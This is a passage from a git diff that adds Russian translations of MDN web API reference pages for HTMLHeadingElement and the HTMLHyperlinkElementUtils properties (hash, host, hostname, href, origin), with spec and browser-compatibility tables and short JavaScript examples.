+  </tr>
+  <tr>
+   <td><code>profile</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} 7.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>profile</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} 7.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlheadingelement/index.html b/files/ru/web/api/htmlheadingelement/index.html
new file mode 100644
index 0000000000..e031fba028
--- /dev/null
+++ b/files/ru/web/api/htmlheadingelement/index.html
@@ -0,0 +1,69 @@
+---
+title: HTMLHeadingElement
+slug: Web/API/HTMLHeadingElement
+translation_of: Web/API/HTMLHeadingElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLHeadingElement</code></strong> интерфейс представляет различные элементы заголовков. Наследует методы и свойства из {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHeadingElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing an enumerated attribute indicating alignment of the heading with respect to the surrounding context. The possible values are <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, and <code>"center"</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; наследует методы родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlheadingelement", "HTMLHeadingElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements", "HTMLHeadingElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The <code>align</code> property is now obsolete.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-43345119', 'HTMLHeadingElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-43345119', 'HTMLHeadingElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLHeadingElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, and {{ HTMLElement("h6") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html b/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html
new file mode 100644
index 0000000000..8a135ab828
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLHyperlinkElementUtils.hash
+slug: Web/API/HTMLHyperlinkElementUtils/hash
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/hash
+---
+<p>{{ APIRef("URLUtils") }}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.hash</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий <code>'#'</code> с последующим идентификатором. Идентификатор не декодирован.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.hash;
+<em>object</em>.hash = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.hash; // Вернет: '#youhou'</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("22")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("22")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс. Также с Gecko 29 по Gecko 40 значение ошибочно возвращалось декодированным.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/host/index.html b/files/ru/web/api/htmlhyperlinkelementutils/host/index.html
new file mode 100644
index 0000000000..742386e83b
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/host/index.html
@@ -0,0 +1,116 @@
+---
+title: HTMLHyperlinkElementUtils.host
+slug: Web/API/HTMLHyperlinkElementUtils/host
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/host
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.host</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий хост, а именно <em>имя хоста</em> и, если <em>порт</em> не пустой, <code>':'</code> и <em>порт</em>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.host;
+<em>object.<code>host</code></em> = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var anchor = document.createElement("a");
+
+anchor.href = "https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org"
+
+anchor.href = "https://developer.mozilla.org:443/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org"
+// Номер порта пропущен, потому что 443 используется по умолчанию
+
+anchor.href = "https://developer.mozilla.org:4097/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org:4097"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-host', 'HTMLHyperlinkElementUtils.host')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22")}} [3]</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("22")}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] В Internet Explorer 9 свойство host элемента {{HTMLElement("a")}} всегда включает порт (т.е. <code>developer.mozilla.org:443</code>), даже если порт в <code>href</code> не указан явно.</p>
+
+<p>[3] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html b/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html
new file mode 100644
index 0000000000..da06c3dcb6
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLHyperlinkElementUtils.hostname
+slug: Web/API/HTMLHyperlinkElementUtils/hostname
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/hostname
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.hostname</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий домен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.hostname;
+<em>object.</em>hostname = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.hostname"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.hostname; // Вернет: 'developer.mozilla.org'</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-protocol', 'URLUtils.hostname')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/href/index.html b/files/ru/web/api/htmlhyperlinkelementutils/href/index.html
new file mode 100644
index 0000000000..03a52f2e51
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/href/index.html
@@ -0,0 +1,108 @@
+---
+title: HTMLHyperlinkElementUtils.href
+slug: Web/API/HTMLHyperlinkElementUtils/href
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Location
+  - Property
+  - Reference
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/href
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.href</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий URL целиком.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.href;
+<em>object<code>.href = </code></em><code><em>string</em>;</code>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Вернет: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/index.html b/files/ru/web/api/htmlhyperlinkelementutils/index.html
new file mode 100644
index 0000000000..2abe580d83
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/index.html
@@ -0,0 +1,178 @@
+---
+title: HTMLHyperlinkElementUtils
+slug: Web/API/HTMLHyperlinkElementUtils
+tags:
+  - API
+  - Experimental
+  - Mixin
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils
+---
+<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>HTMLHyperlinkElementUtils</code></strong> mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.</p>
+
+<p>There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.href")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the whole URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.host")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.hostname")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.port")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.pathname")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.search")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.hash")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.username")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.password")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("USVString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface doesn't inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin </code></td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin </code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Though not grouped in a single abstract interface, these methods are directly available on the interfaces that implement it, if this interface is supported.</p>
+
+<p>[2] This mixin was called <code>URLUtils</code> before Firefox 45, and was also implemented to other by other interfaces, like {{domxref("Location")}}. From Firefox 45, the other interfaces implements their own version of the properties and methods they need.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}
+  <dl><br>
+   <dd> </dd>
+  </dl>
+ </li>
+</ul>
+
+<dl>
+ <dd> </dd>
+</dl>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html b/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html
new file mode 100644
index 0000000000..b0e6b46e2e
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html
@@ -0,0 +1,116 @@
+---
+title: HTMLHyperlinkElementUtils.origin
+slug: Web/API/HTMLHyperlinkElementUtils/origin
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - Read-only
+  - Reference
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/origin
+---
+<p>{{APIRef("URL API")}}</p>
+
+<p>Свойство только для чтения <strong><code>HTMLHyperlinkElementUtils.origin</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий сериализованные в Unicode протокол, хост и порт, а именно:</p>
+
+<ul>
+ <li>для URL, начинающегося с <code>http</code> или <code>https</code>, <span class="st">–</span> протокол, <code>'://'</code>, домен, <code>':'</code>, порт (порт по умолчанию, <code>80</code> и <code>443</code> соответственно, если указаны явно);</li>
+ <li>для URL, начинающегося с <code>file:</code>, <span class="st">–</span> значение зависит от браузера;</li>
+ <li>для URL, начинающегося с <code>blob:</code>, <span class="st">–</span> основа URL следующего за <code>blob:</code>. Т.е. для <code>"blob:https://mozilla.org"</code> будет <code>"https://mozilla.org".</code></li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.origin;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// На этой странице
+var result = window.location.origin; // Вернет: 'https://developer.mozilla.org'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}<sup> [2][3]</sup></td>
+   <td>{{CompatNo}} [1]</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{CompatNo}}</span> [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
